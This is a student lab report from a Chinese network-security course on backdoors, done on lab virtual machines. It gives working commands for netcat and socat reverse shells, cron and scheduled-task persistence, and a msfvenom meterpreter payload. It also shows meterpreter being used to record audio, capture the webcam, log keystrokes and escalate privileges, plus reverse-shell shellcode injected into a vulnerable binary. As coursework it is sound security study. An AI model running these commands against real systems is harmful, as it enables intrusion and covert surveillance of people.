2019-2020-2 20175306王佳烁《网络对抗技术》Exp2 后门原理与实践
一、实验任务
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2、基础知识
1、后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
2、后门工作流程:程序→植入→运行→免杀。
3、后门工具
- Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。
二、实验步骤
1、使用netcat获取主机操作Shell,cron启动
1.1 Windows获得Linux主机操作shell
首先在Windows中使用ipconfig
查看其IP地址
-
可以看到windows的IP地址为192.168.1.19
-
关闭windows防火墙,在linux端ping192.168.1.19,保证两台机器能ping的通
-
进入ncat.exe的目录下,输入命令
ncat.exe -l -p 5306
打开监听。
-
linux使用命令
nc 192.168.1.19 5306 -e /bin/sh
反弹连接windows。
-
这时windows已经可以运行linux的指令了,比如
pwd
,ls
1.2 Linux获得Windows主机操作shell
-
打开Linux终端,输入
ifconfig
查看linux的IP地址
-
可以看到linux的IP地址为192.168.1.17
-
linux端输入命令
nc -l -p 5306
打开监听。
-
windows端使用命令
ncat.exe -e cmd.exe 192.168.1.17 5306
反弹连接linux。
-
linux获得windows的主机操作shell
1.3 corn启动
-
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
linux使用命令
crontab -e
并选择3进入编辑模式 -
在最后一行添加
35 * * * * /bin/netcat 192.168.1.19 5306 -e /bin/sh
,意思是在每个小时的第35分钟执行后面的指令。(这个数字可以修改)
-
等到某点35分,重复上面1.1的步骤,成功建立连接,双方可传递数据或者聊天。
2.使用socat获取主机操作Shell, 任务计划启动。
-
右键windows的计算机,点击
管理
-->任务计划程序
-->创建任务
-
进入操作页面,
程序与脚本
中选择socat
的路径 -
添加参数
一栏填入tcp-listen:5306 exec:cmd.exe,pty,stderr
-
进入
触发器
界面,自定义触发时间
-
此时可以看到任务的状态为准备就绪
-
到时间后,socat自动触发了
-
linux使用命令
socat - tcp:192.168.1.19:5306
连接windows,就可以获得windows的主机操作shell了。
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shel
- linux使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.17 LPORT=5306 -f exe > backdoor5306.exe
来生成后门程序
参数说明:
(1)-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
(2)-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
(3)-e 使用的编码器,用于对shellcode变形,为了免杀。
(4)-i 编码器的迭代次数。如上即使用该编码器编码5次。
(5)-b badchar是payload中需要去除的字符。
(6)LHOST 是反弹回连的IP
(7)LPORT 是回连的端口
(8)-f 生成文件的类型
(9)> 输出到哪个文件
-
windows使用命令
ncat.exe -lv 5306 > backdoor5306.exe
来查看连接状态。
-
linux使用命令
nc 192.168.1.19 5306 < backdoor5306.exe
传输后门程序,传输成功win10的cmd中会出现传输信息
- linux使用
msfconsole
命令进入msf控制台,输入下面这些命令。
- use exploit/multi/handler//使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
- set LHOST 192.168.1.17//此处为linux的IP地址
- set LPORT 5306//使用相同的端口
- show options//查看设置
- linux输入
exploit
开始监听。 - windows中运行后门程序,成功获得windows的主机操作shel,输入
dir
可以验证
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
linux使用
record_mic -d 5
指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径
-
linux使用
webcam_snap
命令获取摄像头拍摄内容
-
linux使用
keyscan_start
命令记录击键的过程,使用keyscan_dump
命令读取击键记录
-
linux使用
screenshot
命令截屏
-
linux使用
getuid
命令查看当前用户,使用getsystem
命令进行提权操作。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 在官网上下载
Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)
这个文件 - 提取其中的机器码留作备用
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
linux中使用命令
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。
-
使用命令
perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
将perl生成的字符串储存到input_shellcode中。
-
使用命令
(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf。 -
再打开另外一个终端使用命令
ps -ef | grep pwn1
找到pwn1的进程号:3834。
-
启动gdb调试,输入
attach 3834
。 -
使用命令
disassemble foo
,查看ret的地址。 -
输入
break *0x080484ae
在0x080484ae`处设置断点。 -
在另一个终端按下回车。
-
返回到这个终端,输入
c
继续运行。
-
使用命令
info r esp
查看栈指针的位置。 -
发现数据是
0*ffffd23c
,那么我所需要修改成0*ffffd23c+4=0*ffffd300
- 打开一个终端使用命令
msfconsole
打开msf控制台,输入以下命令。
`use exploit/multi/handler`//设置payload
`set payload linux/x86/shell_reverse_tcp`
`set LHOST 127.0.0.1`//设置ip
`set LPORT 4444`//设置端口
`show options`//查看选项
`exploit`//设置完成,开始监听
- 在另一终端使用命令
cat input_shellcode;cat) | ./pwn1
运行pwn1,可以看出来已经成功调取了shell。
三、实验中遇到的问题。
-
windows虚拟机开启摄像头失败
Webcam_list:Operation failed:1411
-
解决方法:
1.打开cmd,输入services.msc,打开服务管理器。
2.在服务列表中选中"VMware USB Arbitration Service",双击打开属性对话框,再选择"启动",启动VMware USB Arbitration Service服务。
3.关闭VMware软件,并重新打开,启动一个虚拟机。点击"虚拟机"—>"可移动设备"—>"Realtek Integrated Webcam"—>"连接(断开与主机的连接)"即可成功开启虚拟机摄像头。
四、基础问题回答。
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:没有从官网上下载的软件,可能被绑定了后门;点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:linux:通过crontab -e
修改任务计划表,插入启动指令。
windows
- 控制面板—>管理工具—>任务计划程序",新建任务计划。
- 通过修改注册表,设置后门程序自启动。
- 将后门程序与正常软件绑定,用户使用软件使启动。
3.Meterpreter有哪些给你映像深刻的功能?
答:在主机植入后门后,可以直接控制主机的shell,甚至录音、录像等,通过键盘输入记录,可以轻松获取口令密码等信息
4.如何发现自己有系统有没有被安装后门?
答:安装杀毒软件,定时对系统进行检测;打开防火墙,查看是否有异常端口
五、实验心得。
本次实验并不难,类似于以前的客户端/服务器实验,只是比较费时间。但是很好玩,能够通过植入后门,直接控制主机的shell,甚至录音,录像等,同时也很恐怖。如果自己的电脑被植入后门,后果不敢想象。这也增强了自己的安全意识,下app就要去官网下载,同时打开防火墙,经常使用杀毒软件进行杀毒。